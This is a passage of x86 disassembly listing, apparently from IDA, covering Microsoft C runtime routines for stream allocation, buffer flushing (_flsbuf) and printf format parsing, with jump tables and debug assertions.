mov eax, [ebp+var_14]
and eax, 0C000h
test eax, eax
jz short loc_41E3DE
mov [ebp+var_4], 0
jmp short loc_41E3E7
; ---------------------------------------------------------------------------
loc_41E3DE: ; CODE XREF: sub_41E220+1B3j
mov ecx, [ebp+var_14]
or ch, 40h
mov [ebp+var_14], ecx
loc_41E3E7: ; CODE XREF: sub_41E220+1BCj
jmp loc_41E4BA
; ---------------------------------------------------------------------------
loc_41E3EC: ; CODE XREF: sub_41E220+144j
; DATA XREF: ___:0041E555o
cmp [ebp+var_18], 0
jz short loc_41E3FB
mov [ebp+var_4], 0
jmp short loc_41E40B
; ---------------------------------------------------------------------------
loc_41E3FB: ; CODE XREF: sub_41E220+1D0j
mov [ebp+var_18], 1
mov edx, [ebp+var_1C]
or dh, 40h
mov [ebp+var_1C], edx
loc_41E40B: ; CODE XREF: sub_41E220+1D9j
jmp loc_41E4BA
; ---------------------------------------------------------------------------
loc_41E410: ; CODE XREF: sub_41E220+144j
; DATA XREF: ___:0041E559o
cmp [ebp+var_18], 0
jz short loc_41E41F
mov [ebp+var_4], 0
jmp short loc_41E42F
; ---------------------------------------------------------------------------
loc_41E41F: ; CODE XREF: sub_41E220+1F4j
mov [ebp+var_18], 1
mov eax, [ebp+var_1C]
and ah, 0BFh
mov [ebp+var_1C], eax
loc_41E42F: ; CODE XREF: sub_41E220+1FDj
jmp loc_41E4BA
; ---------------------------------------------------------------------------
loc_41E434: ; CODE XREF: sub_41E220+144j
; DATA XREF: ___:0041E549o
cmp [ebp+var_10], 0
jz short loc_41E443
mov [ebp+var_4], 0
jmp short loc_41E453
; ---------------------------------------------------------------------------
loc_41E443: ; CODE XREF: sub_41E220+218j
mov [ebp+var_10], 1
mov ecx, [ebp+var_14]
or ecx, 20h
mov [ebp+var_14], ecx
loc_41E453: ; CODE XREF: sub_41E220+221j
jmp short loc_41E4BA
; ---------------------------------------------------------------------------
loc_41E455: ; CODE XREF: sub_41E220+144j
; DATA XREF: ___:0041E545o
cmp [ebp+var_10], 0
jz short loc_41E464
mov [ebp+var_4], 0
jmp short loc_41E474
; ---------------------------------------------------------------------------
loc_41E464: ; CODE XREF: sub_41E220+239j
mov [ebp+var_10], 1
mov edx, [ebp+var_14]
or edx, 10h
mov [ebp+var_14], edx
loc_41E474: ; CODE XREF: sub_41E220+242j
jmp short loc_41E4BA
; ---------------------------------------------------------------------------
loc_41E476: ; CODE XREF: sub_41E220+144j
; DATA XREF: ___:0041E54Do
mov eax, [ebp+var_14]
and eax, 1000h
test eax, eax
jz short loc_41E48B
mov [ebp+var_4], 0
jmp short loc_41E494
; ---------------------------------------------------------------------------
loc_41E48B: ; CODE XREF: sub_41E220+260j
mov ecx, [ebp+var_14]
or ch, 10h
mov [ebp+var_14], ecx
loc_41E494: ; CODE XREF: sub_41E220+269j
jmp short loc_41E4BA
; ---------------------------------------------------------------------------
loc_41E496: ; CODE XREF: sub_41E220+144j
; DATA XREF: ___:0041E541o
mov edx, [ebp+var_14]
and edx, 40h
test edx, edx
jz short loc_41E4A9
mov [ebp+var_4], 0
jmp short loc_41E4B1
; ---------------------------------------------------------------------------
loc_41E4A9: ; CODE XREF: sub_41E220+27Ej
mov eax, [ebp+var_14]
or al, 40h
mov [ebp+var_14], eax
loc_41E4B1: ; CODE XREF: sub_41E220+287j
jmp short loc_41E4BA
; ---------------------------------------------------------------------------
loc_41E4B3: ; CODE XREF: sub_41E220+133j
; sub_41E220+144j
; DATA XREF: ...
mov [ebp+var_4], 0
loc_41E4BA: ; CODE XREF: sub_41E220:loc_41E3A0j
; sub_41E220:loc_41E3C4j ...
jmp loc_41E31C
; ---------------------------------------------------------------------------
loc_41E4BF: ; CODE XREF: sub_41E220+10Dj
; sub_41E220+117j
push 1A4h
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_428050
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jge short loc_41E4E5
xor eax, eax
jmp short loc_41E536
; ---------------------------------------------------------------------------
loc_41E4E5: ; CODE XREF: sub_41E220+2BFj
mov ecx, dword_4DB110
add ecx, 1
mov dword_4DB110, ecx
mov edx, [ebp+arg_C]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_1C]
mov [eax+0Ch], ecx
mov edx, [ebp+var_C]
mov dword ptr [edx+4], 0
mov eax, [ebp+var_C]
mov dword ptr [eax], 0
mov ecx, [ebp+var_C]
mov dword ptr [ecx+8], 0
mov edx, [ebp+var_C]
mov dword ptr [edx+1Ch], 0
mov eax, [ebp+var_C]
mov ecx, [ebp+var_8]
mov [eax+10h], ecx
mov eax, [ebp+var_C]
loc_41E536: ; CODE XREF: sub_41E220+F0j
; sub_41E220+2C3j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41E220 endp
; ---------------------------------------------------------------------------
off_41E53D dd offset loc_41E36B ; DATA XREF: sub_41E220+144r
dd offset loc_41E496
dd offset loc_41E455
dd offset loc_41E434
dd offset loc_41E476
dd offset loc_41E3A5
dd offset loc_41E3EC
dd offset loc_41E410
dd offset loc_41E3C9
dd offset loc_41E4B3
byte_41E565 db 0 ; DATA XREF: sub_41E220+13Er
dw 909h
dd 5 dup(9090909h), 9010909h, 3 dup(9090909h), 9040302h
dd 3 dup(9090909h), 9090605h, 2 dup(9090909h), 9090907h
dd 0CC080909h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E5B0 proc near ; CODE XREF: sub_416F50+B9p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
push 2
call sub_41B780
add esp, 4
mov [ebp+var_4], 0
jmp short loc_41E5D9
; ---------------------------------------------------------------------------
loc_41E5D0: ; CODE XREF: sub_41E5B0+A8j
; sub_41E5B0:loc_41E6D9j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41E5D9: ; CODE XREF: sub_41E5B0+1Ej
mov ecx, [ebp+var_4]
cmp ecx, dword_4DC7C0
jge loc_41E6DE
mov edx, [ebp+var_4]
mov eax, dword_4DB7AC
cmp dword ptr [eax+edx*4], 0
jz short loc_41E66F
mov ecx, [ebp+var_4]
mov edx, dword_4DB7AC
mov eax, [edx+ecx*4]
mov ecx, [eax+0Ch]
and ecx, 83h
test ecx, ecx
jnz short loc_41E66D
mov edx, [ebp+var_4]
mov eax, dword_4DB7AC
mov ecx, [eax+edx*4]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_418ED0
add esp, 8
mov eax, [ebp+var_4]
mov ecx, dword_4DB7AC
mov edx, [ecx+eax*4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_41E65D
mov ecx, [ebp+var_4]
mov edx, dword_4DB7AC
mov eax, [edx+ecx*4]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_418F40
add esp, 8
jmp loc_41E5D0
; ---------------------------------------------------------------------------
loc_41E65D: ; CODE XREF: sub_41E5B0+8Dj
mov edx, [ebp+var_4]
mov eax, dword_4DB7AC
mov ecx, [eax+edx*4]
mov [ebp+var_8], ecx
jmp short loc_41E6DE
; ---------------------------------------------------------------------------
loc_41E66D: ; CODE XREF: sub_41E5B0+5Dj
jmp short loc_41E6D9
; ---------------------------------------------------------------------------
loc_41E66F: ; CODE XREF: sub_41E5B0+44j
push 55h
push offset aStream_c ; "stream.c"
push 2
push 38h
call sub_414DD0
add esp, 10h
mov edx, [ebp+var_4]
mov ecx, dword_4DB7AC
mov [ecx+edx*4], eax
mov edx, [ebp+var_4]
mov eax, dword_4DB7AC
cmp dword ptr [eax+edx*4], 0
jz short loc_41E6D7
mov ecx, [ebp+var_4]
mov edx, dword_4DB7AC
mov eax, [edx+ecx*4]
add eax, 20h
push eax
call near ptr 28606DCh
nop
mov ecx, [ebp+var_4]
mov edx, dword_4DB7AC
mov eax, [edx+ecx*4]
add eax, 20h
push eax
nop
call near ptr 77F7E21Fh
mov ecx, [ebp+var_4]
mov edx, dword_4DB7AC
mov eax, [edx+ecx*4]
mov [ebp+var_8], eax
loc_41E6D7: ; CODE XREF: sub_41E5B0+EAj
jmp short loc_41E6DE
; ---------------------------------------------------------------------------
loc_41E6D9: ; CODE XREF: sub_41E5B0:loc_41E66Dj
jmp loc_41E5D0
; ---------------------------------------------------------------------------
loc_41E6DE: ; CODE XREF: sub_41E5B0+32j
; sub_41E5B0+BBj ...
cmp [ebp+var_8], 0
jz short loc_41E71F
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_8]
mov dword ptr [edx+0Ch], 0
mov eax, [ebp+var_8]
mov dword ptr [eax+8], 0
mov ecx, [ebp+var_8]
mov dword ptr [ecx], 0
mov edx, [ebp+var_8]
mov dword ptr [edx+1Ch], 0
mov eax, [ebp+var_8]
mov dword ptr [eax+10h], 0FFFFFFFFh
loc_41E71F: ; CODE XREF: sub_41E5B0+132j
push 2
call sub_41B820
add esp, 4
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_41E5B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E730 proc near ; CODE XREF: sub_4170D0+DEp
; sub_4171D0+E5p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
loc_41E739: ; CODE XREF: sub_41E730+31j
cmp [ebp+arg_4], 0
jnz short loc_41E75D
push offset dword_4334B4
push 0
push 69h
push offset a_flsbuf_c ; "_flsbuf.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_41E75D
int 3 ; Trap to Debugger
loc_41E75D: ; CODE XREF: sub_41E730+Dj
; sub_41E730+2Aj
xor eax, eax
test eax, eax
jnz short loc_41E739
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
mov eax, [edx+10h]
mov [ebp+var_10], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 82h
test edx, edx
jz short loc_41E78F
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 40h
test ecx, ecx
jz short loc_41E7A5
loc_41E78F: ; CODE XREF: sub_41E730+50j
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
or al, 20h
mov ecx, [ebp+var_8]
mov [ecx+0Ch], eax
or eax, 0FFFFFFFFh
jmp loc_41E99D
; ---------------------------------------------------------------------------
loc_41E7A5: ; CODE XREF: sub_41E730+5Dj
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
and eax, 1
test eax, eax
jz short loc_41E7FC
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
and eax, 10h
test eax, eax
jz short loc_41E7E5
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [edx+8]
mov [ecx], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 0FFFFFFFEh
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
jmp short loc_41E7FC
; ---------------------------------------------------------------------------
loc_41E7E5: ; CODE XREF: sub_41E730+97j
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
or eax, 0FFFFFFFFh
jmp loc_41E99D
; ---------------------------------------------------------------------------
loc_41E7FC: ; CODE XREF: sub_41E730+80j
; sub_41E730+B3j
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
or edx, 2
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 0FFFFFFEFh
mov eax, [ebp+var_8]
mov [eax+0Ch], edx
mov ecx, [ebp+var_8]
mov dword ptr [ecx+4], 0
mov [ebp+var_4], 0
mov edx, [ebp+var_4]
mov [ebp+var_C], edx
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 10Ch
test ecx, ecx
jnz short loc_41E86F
cmp [ebp+var_8], offset dword_4438E0
jz short loc_41E853
cmp [ebp+var_8], offset dword_443900
jnz short loc_41E863
loc_41E853: ; CODE XREF: sub_41E730+118j
mov edx, [ebp+var_10]
push edx
call sub_4285B0
add esp, 4
test eax, eax
jnz short loc_41E86F
loc_41E863: ; CODE XREF: sub_41E730+121j
mov eax, [ebp+var_8]
push eax
call sub_427F40
add esp, 4
loc_41E86F: ; CODE XREF: sub_41E730+10Fj
; sub_41E730+131j
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 108h
test edx, edx
jz loc_41E95B
loc_41E883: ; CODE XREF: sub_41E730+187j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_8]
mov edx, [eax]
sub edx, [ecx+8]
test edx, edx
jge short loc_41E8B3
push offset aInconsistentIo ; "(\"inconsistent IOB fields\", stream->_pt"...
push 0
push 0A0h
push offset a_flsbuf_c ; "_flsbuf.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_41E8B3
int 3 ; Trap to Debugger
loc_41E8B3: ; CODE XREF: sub_41E730+160j
; sub_41E730+180j
xor eax, eax
test eax, eax
jnz short loc_41E883
mov ecx, [ebp+var_8]
mov edx, [ebp+var_8]
mov eax, [ecx]
sub eax, [edx+8]
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+var_8]
mov [eax], edx
mov ecx, [ebp+var_8]
mov edx, [ecx+18h]
sub edx, 1
mov eax, [ebp+var_8]
mov [eax+4], edx
cmp [ebp+var_4], 0
jle short loc_41E906
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+8]
push eax
mov ecx, [ebp+var_10]
push ecx
call sub_425880
add esp, 0Ch
mov [ebp+var_C], eax
jmp short loc_41E94E
; ---------------------------------------------------------------------------
loc_41E906: ; CODE XREF: sub_41E730+1B8j
cmp [ebp+var_10], 0FFFFFFFFh
jz short loc_41E929
mov edx, [ebp+var_10]
sar edx, 5
mov eax, [ebp+var_10]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4DB460[edx*4]
add ecx, eax
mov [ebp+var_14], ecx
jmp short loc_41E930
; ---------------------------------------------------------------------------
loc_41E929: ; CODE XREF: sub_41E730+1DAj
mov [ebp+var_14], offset dword_444108
loc_41E930: ; CODE XREF: sub_41E730+1F7j
mov edx, [ebp+var_14]
movsx eax, byte ptr [edx+4]
and eax, 20h
test eax, eax
jz short loc_41E94E
push 2
push 0
mov ecx, [ebp+var_10]
push ecx
call sub_425420
add esp, 0Ch
loc_41E94E: ; CODE XREF: sub_41E730+1D4j
; sub_41E730+20Cj
mov edx, [ebp+var_8]
mov eax, [edx+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41E979
; ---------------------------------------------------------------------------
loc_41E95B: ; CODE XREF: sub_41E730+14Dj
mov [ebp+var_4], 1
mov edx, [ebp+var_4]
push edx
lea eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_10]
push ecx
call sub_425880
add esp, 0Ch
mov [ebp+var_C], eax
loc_41E979: ; CODE XREF: sub_41E730+229j
mov edx, [ebp+var_C]
cmp edx, [ebp+var_4]
jz short loc_41E995
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
or ecx, 20h
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
or eax, 0FFFFFFFFh
jmp short loc_41E99D
; ---------------------------------------------------------------------------
loc_41E995: ; CODE XREF: sub_41E730+24Fj
mov eax, [ebp+arg_0]
and eax, 0FFh
loc_41E99D: ; CODE XREF: sub_41E730+70j
; sub_41E730+C7j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41E730 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E9B0 proc near ; CODE XREF: sub_4170D0+93p
; sub_4171D0+9Ap ...
var_2A6 = word ptr -2A6h
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_288 = byte ptr -288h
var_284 = dword ptr -284h
var_280 = dword ptr -280h
var_27C = dword ptr -27Ch
var_278 = dword ptr -278h
var_274 = dword ptr -274h
var_270 = dword ptr -270h
var_26C = dword ptr -26Ch
var_268 = dword ptr -268h
var_264 = dword ptr -264h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = dword ptr -258h
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = word ptr -248h
var_244 = dword ptr -244h
var_240 = byte ptr -240h
var_23F = byte ptr -23Fh
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = byte ptr -228h
var_29 = byte ptr -29h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 2A8h
push ebx
push esi
push edi
mov [ebp+var_24], 0
mov [ebp+var_22C], 0
mov [ebp+var_18], 0
loc_41E9D4: ; CODE XREF: sub_41E9B0:loc_41F5C2j
mov eax, [ebp+arg_4]
mov cl, [eax]
mov byte ptr [ebp+var_28], cl
movsx edx, byte ptr [ebp+var_28]
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
test edx, edx
jz loc_41F5C7
cmp [ebp+var_22C], 0
jl loc_41F5C7
movsx ecx, byte ptr [ebp+var_28]
cmp ecx, 20h
jl short loc_41EA26
movsx edx, byte ptr [ebp+var_28]
cmp edx, 78h
jg short loc_41EA26
movsx eax, byte ptr [ebp+var_28]
movsx ecx, byte ptr [eax+433F98h]
and ecx, 0Fh
mov [ebp+var_290], ecx
jmp short loc_41EA30
; ---------------------------------------------------------------------------
loc_41EA26: ; CODE XREF: sub_41E9B0+55j
; sub_41E9B0+5Ej
mov [ebp+var_290], 0
loc_41EA30: ; CODE XREF: sub_41E9B0+74j
mov edx, [ebp+var_290]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_18]
movsx edx, byte_433FB8[ecx+eax*8]
sar edx, 4
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
mov [ebp+var_294], eax
cmp [ebp+var_294], 7
ja loc_41F5C2
mov ecx, [ebp+var_294]
jmp off_41F5D4[ecx*4]
loc_41EA70: ; CODE XREF: sub_41E9B0+332j
; DATA XREF: ___:off_41F5D4o
mov [ebp+var_1C], 0
mov edx, [ebp+var_28]
and edx, 0FFh
mov eax, off_443C7C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_41EAED
lea edx, [ebp+var_22C]
push edx
mov eax, [ebp+arg_0]
push eax
movsx ecx, byte ptr [ebp+var_28]
push ecx
call sub_41F6E0
add esp, 0Ch
mov edx, [ebp+arg_4]
mov al, [edx]
mov byte ptr [ebp+var_28], al
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
loc_41EABE: ; CODE XREF: sub_41E9B0+13Bj
movsx edx, byte ptr [ebp+var_28]
test edx, edx
jnz short loc_41EAE7
push offset aCh_t0 ; "ch != _T('\\0')"
push 0
push 186h
push offset aOutput_c ; "output.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_41EAE7
int 3 ; Trap to Debugger
loc_41EAE7: ; CODE XREF: sub_41E9B0+114j
; sub_41E9B0+134j
xor eax, eax
test eax, eax
jnz short loc_41EABE
loc_41EAED: ; CODE XREF: sub_41E9B0+E3j
lea ecx, [ebp+var_22C]
push ecx
mov edx, [ebp+arg_0]
push edx
movsx eax, byte ptr [ebp+var_28]
push eax
call sub_41F6E0
add esp, 0Ch
jmp loc_41F5C2
; ---------------------------------------------------------------------------
loc_41EB0A: ; CODE XREF: sub_41E9B0+B9j
; DATA XREF: ___:0041F5D8o
mov [ebp+var_8], 0
mov ecx, [ebp+var_8]
mov [ebp+var_23C], ecx
mov edx, [ebp+var_23C]
mov [ebp+var_244], edx
mov eax, [ebp+var_244]
mov [ebp+var_10], eax
mov [ebp+var_4], 0
mov [ebp+var_234], 0FFFFFFFFh
mov [ebp+var_1C], 0
jmp loc_41F5C2
; ---------------------------------------------------------------------------
loc_41EB4C: ; CODE XREF: sub_41E9B0+B9j
; DATA XREF: ___:0041F5DCo
movsx ecx, byte ptr [ebp+var_28]
mov [ebp+var_298], ecx
mov edx, [ebp+var_298]
sub edx, 20h
mov [ebp+var_298], edx
cmp [ebp+var_298], 10h
ja short loc_41EBB6
mov ecx, [ebp+var_298]
xor eax, eax
mov al, byte_41F60C[ecx]
jmp off_41F5F4[eax*4]
loc_41EB83: ; CODE XREF: sub_41E9B0+B9j
; DATA XREF: ___:0041F600o
mov edx, [ebp+var_4]
or edx, 4
mov [ebp+var_4], edx
jmp short loc_41EBB6
; ---------------------------------------------------------------------------
loc_41EB8E: ; CODE XREF: sub_41E9B0+B9j
; sub_41E9B0+1CCj
; DATA XREF: ...
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
jmp short loc_41EBB6
; ---------------------------------------------------------------------------
loc_41EB98: ; CODE XREF: sub_41E9B0+B9j
; sub_41E9B0+1CCj
; DATA XREF: ...
mov ecx, [ebp+var_4]
or ecx, 2
mov [ebp+var_4], ecx
jmp short loc_41EBB6
; ---------------------------------------------------------------------------
loc_41EBA3: ; CODE XREF: sub_41E9B0+B9j
; sub_41E9B0+1CCj
; DATA XREF: ...
mov edx, [ebp+var_4]
or dl, 80h
mov [ebp+var_4], edx
jmp short loc_41EBB6
; ---------------------------------------------------------------------------
loc_41EBAE: ; CODE XREF: sub_41E9B0+B9j
; sub_41E9B0+1CCj
; DATA XREF: ...
mov eax, [ebp+var_4]
or al, 8
mov [ebp+var_4], eax
loc_41EBB6: ; CODE XREF: sub_41E9B0+B9j
; sub_41E9B0+1BCj ...
jmp loc_41F5C2
; ---------------------------------------------------------------------------
loc_41EBBB: ; CODE XREF: sub_41E9B0+B9j
; DATA XREF: ___:0041F5E0o
movsx ecx, byte ptr [ebp+var_28]
cmp ecx, 2Ah
jnz short loc_41EBF7
lea edx, [ebp+arg_8]
push edx
call sub_41F7F0
add esp, 4
mov [ebp+var_244], eax
cmp [ebp+var_244], 0
jge short loc_41EBF5
mov eax, [ebp+var_4]
or al, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_244]
neg ecx
mov [ebp+var_244], ecx
loc_41EBF5: ; CODE XREF: sub_41E9B0+22Dj
jmp short loc_41EC0E
; ---------------------------------------------------------------------------
loc_41EBF7: ; CODE XREF: sub_41E9B0+212j
mov edx, [ebp+var_244]
imul edx, 0Ah
movsx eax, byte ptr [ebp+var_28]
lea ecx, [edx+eax-30h]
mov [ebp+var_244], ecx
loc_41EC0E: ; CODE XREF: sub_41E9B0:loc_41EBF5j
jmp loc_41F5C2
; ---------------------------------------------------------------------------
loc_41EC13: ; CODE XREF: sub_41E9B0+B9j
; DATA XREF: ___:0041F5E4o
mov [ebp+var_234], 0
jmp loc_41F5C2
; ---------------------------------------------------------------------------
loc_41EC22: ; CODE XREF: sub_41E9B0+B9j
; DATA XREF: ___:0041F5E8o
movsx edx, byte ptr [ebp+var_28]
cmp edx, 2Ah
jnz short loc_41EC52
lea eax, [ebp+arg_8]
push eax
call sub_41F7F0
add esp, 4
mov [ebp+var_234], eax
cmp [ebp+var_234], 0
jge short loc_41EC50
mov [ebp+var_234], 0FFFFFFFFh
loc_41EC50: ; CODE XREF: sub_41E9B0+294j
jmp short loc_41EC69
; ---------------------------------------------------------------------------
loc_41EC52: ; CODE XREF: sub_41E9B0+279j
mov ecx, [ebp+var_234]
imul ecx, 0Ah
movsx edx, byte ptr [ebp+var_28]
lea eax, [ecx+edx-30h]
mov [ebp+var_234], eax
loc_41EC69: ; CODE XREF: sub_41E9B0:loc_41EC50j
jmp loc_41F5C2
; ---------------------------------------------------------------------------
loc_41EC6E: ; CODE XREF: sub_41E9B0+B9j
; DATA XREF: ___:0041F5ECo
movsx ecx, byte ptr [ebp+var_28]
mov [ebp+var_29C], ecx
mov edx, [ebp+var_29C]
sub edx, 49h
mov [ebp+var_29C], edx
cmp [ebp+var_29C], 2Eh
ja short loc_41ECFC
mov ecx, [ebp+var_29C]
xor eax, eax
mov al, byte_41F631[ecx]
jmp off_41F61D[eax*4]
loc_41ECA5: ; DATA XREF: ___:0041F625o
mov edx, [ebp+var_4]
or edx, 10h
mov [ebp+var_4], edx
jmp short loc_41ECFC
; ---------------------------------------------------------------------------
loc_41ECB0: ; CODE XREF: sub_41E9B0+2EEj
; DATA XREF: ___:off_41F61Do
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
cmp ecx, 36h
jnz short loc_41ECDB
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx+1]
cmp eax, 34h
jnz short loc_41ECDB
mov ecx, [ebp+arg_4]
add ecx, 2
mov [ebp+arg_4], ecx
mov edx, [ebp+var_4]
or dh, 80h
mov [ebp+var_4], edx
jmp short loc_41ECE7
; ---------------------------------------------------------------------------
loc_41ECDB: ; CODE XREF: sub_41E9B0+309j
; sub_41E9B0+315j
mov [ebp+var_18], 0
jmp loc_41EA70
; ---------------------------------------------------------------------------
loc_41ECE7: ; CODE XREF: sub_41E9B0+329j
jmp short loc_41ECFC
; ---------------------------------------------------------------------------
loc_41ECE9: ; CODE XREF: sub_41E9B0+2EEj
; DATA XREF: ___:0041F621o
mov eax, [ebp+var_4]
or al, 20h
mov [ebp+var_4], eax
jmp short loc_41ECFC
; ---------------------------------------------------------------------------
loc_41ECF3: ; CODE XREF: sub_41E9B0+2EEj
; DATA XREF: ___:0041F629o
mov ecx, [ebp+var_4]
or ch, 8
mov [ebp+var_4], ecx
loc_41ECFC: ; CODE XREF: sub_41E9B0+2DEj
; sub_41E9B0+2EEj ...
jmp loc_41F5C2
; ---------------------------------------------------------------------------
loc_41ED01: ; CODE XREF: sub_41E9B0+B9j
; DATA XREF: ___:0041F5F0o
movsx edx, byte ptr [ebp+var_28]
mov [ebp+var_2A0], edx
mov eax, [ebp+var_2A0]
sub eax, 43h
mov [ebp+var_2A0], eax
cmp [ebp+var_2A0], 35h
ja loc_41F3E7
mov edx, [ebp+var_2A0]
xor ecx, ecx
mov cl, byte_41F69C[edx]
jmp off_41F660[ecx*4]
loc_41ED3C: ; DATA XREF: ___:off_41F660o
mov eax, [ebp+var_4]
and eax, 830h
test eax, eax
jnz short loc_41ED51
mov ecx, [ebp+var_4]
or ch, 8
mov [ebp+var_4], ecx
loc_41ED51: ; CODE XREF: sub_41E9B0+385j
; sub_41E9B0+396j
; DATA XREF: ...
mov edx, [ebp+var_4]
and edx, 810h
test edx, edx
jz short loc_41ED97
lea eax, [ebp+arg_8]
push eax
call sub_41F830
add esp, 4
mov [ebp+var_14], ax
mov cx, [ebp+var_14]
push ecx
lea edx, [ebp+var_228]
push edx
call sub_4285F0
add esp, 8
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jge short loc_41ED95
mov [ebp+var_23C], 1
loc_41ED95: ; CODE XREF: sub_41E9B0+3D9j
jmp short loc_41EDBD
; ---------------------------------------------------------------------------
loc_41ED97: ; CODE XREF: sub_41E9B0+3ACj
lea eax, [ebp+arg_8]
push eax
call sub_41F7F0
add esp, 4
mov [ebp+var_248], ax
mov cl, byte ptr [ebp+var_248]
mov [ebp+var_228], cl
mov [ebp+var_24], 1
loc_41EDBD: ; CODE XREF: sub_41E9B0:loc_41ED95j
lea edx, [ebp+var_228]
mov [ebp+var_20], edx
jmp loc_41F3E7
; ---------------------------------------------------------------------------
loc_41EDCB: ; CODE XREF: sub_41E9B0+385j
lea eax, [ebp+arg_8]
push eax
call sub_41F7F0
add esp, 4
mov [ebp+var_24C], eax
cmp [ebp+var_24C], 0
jz short loc_41EDF2
mov ecx, [ebp+var_24C]
cmp dword ptr [ecx+4], 0
jnz short loc_41EE0C
loc_41EDF2: ; CODE XREF: sub_41E9B0+434j
mov edx, off_443E88
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
push eax
call sub_414BE0
add esp, 4
mov [ebp+var_24], eax
jmp short loc_41EE5B
; ---------------------------------------------------------------------------
loc_41EE0C: ; CODE XREF: sub_41E9B0+440j
mov ecx, [ebp+var_4]
and ecx, 800h
test ecx, ecx
jz short loc_41EE3C
mov edx, [ebp+var_24C]
mov eax, [edx+4]
mov [ebp+var_20], eax
mov ecx, [ebp+var_24C]
movsx edx, word ptr [ecx]
shr edx, 1
mov [ebp+var_24], edx
mov [ebp+var_1C], 1
jmp short loc_41EE5B
; ---------------------------------------------------------------------------
loc_41EE3C: ; CODE XREF: sub_41E9B0+467j
mov [ebp+var_1C], 0
mov eax, [ebp+var_24C]
mov ecx, [eax+4]
mov [ebp+var_20], ecx
mov edx, [ebp+var_24C]
movsx eax, word ptr [edx]
mov [ebp+var_24], eax
loc_41EE5B: ; CODE XREF: sub_41E9B0+45Aj
; sub_41E9B0+48Aj
jmp loc_41F3E7
; ---------------------------------------------------------------------------
